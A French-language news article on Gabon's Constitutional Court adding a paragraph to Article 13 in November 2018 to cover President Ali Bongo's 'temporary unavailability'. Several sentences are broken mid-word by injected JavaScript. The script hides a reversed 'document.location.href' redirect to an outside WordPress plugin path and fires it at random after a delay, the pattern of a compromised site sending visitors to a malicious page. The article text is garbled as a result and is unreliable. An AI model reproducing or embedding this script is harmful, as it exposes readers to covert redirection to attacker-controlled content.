AFRIQUEPOLITIQUE

Gabon : la cour constitutionnelle réécrit la constitution pour palier l’indisponibilité du président

La Cour constitutionnelle du Gabon a modifié la Constitution mercredi 14 novembre 2018 pour pallier l’absence du président Ali Bongo Ondimba, hospitalisé depuis trois semaines à Ryad.

C’est en pleine nuit que la Cour constitutionnelle a convoqué la presse. A sa tête, la présidente de la Cour, Marie-Madeleine MBorantsuo, une proche de la famille présidentielle, notamment d’Omar Bongo toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dont elle a eu deux enfants. Devant les caméras, les juges sont en tenue civile. Traits tirés, visages fermés. Ils viennent de modifier la Constitution gabonaise, pour ajouter un alinéa à l’article 13 qui, selon eux, comportait “une lacune”.

En cas d’indisponibilité temporaire du président de la République pour quelque cause que ce soit, certaines fonctions dévolues à ce dernier peuvent être exercés selon le cas, soit par le Vice-président de la République, soit par le Premier ministre sur autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}torisation spéciale de la Cour Constitutionnelle.

Pas de vacance du pouvoir toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}donc pour la Cour qui introduit la notion d’“indisponibilité temporaire”, et autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}dom() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}torise ainsi le vice-président “à convoquer et à présider un Conseil des ministres”. Une prérogative qui n’appartenait jusqu’ici qu’au seul président.

 

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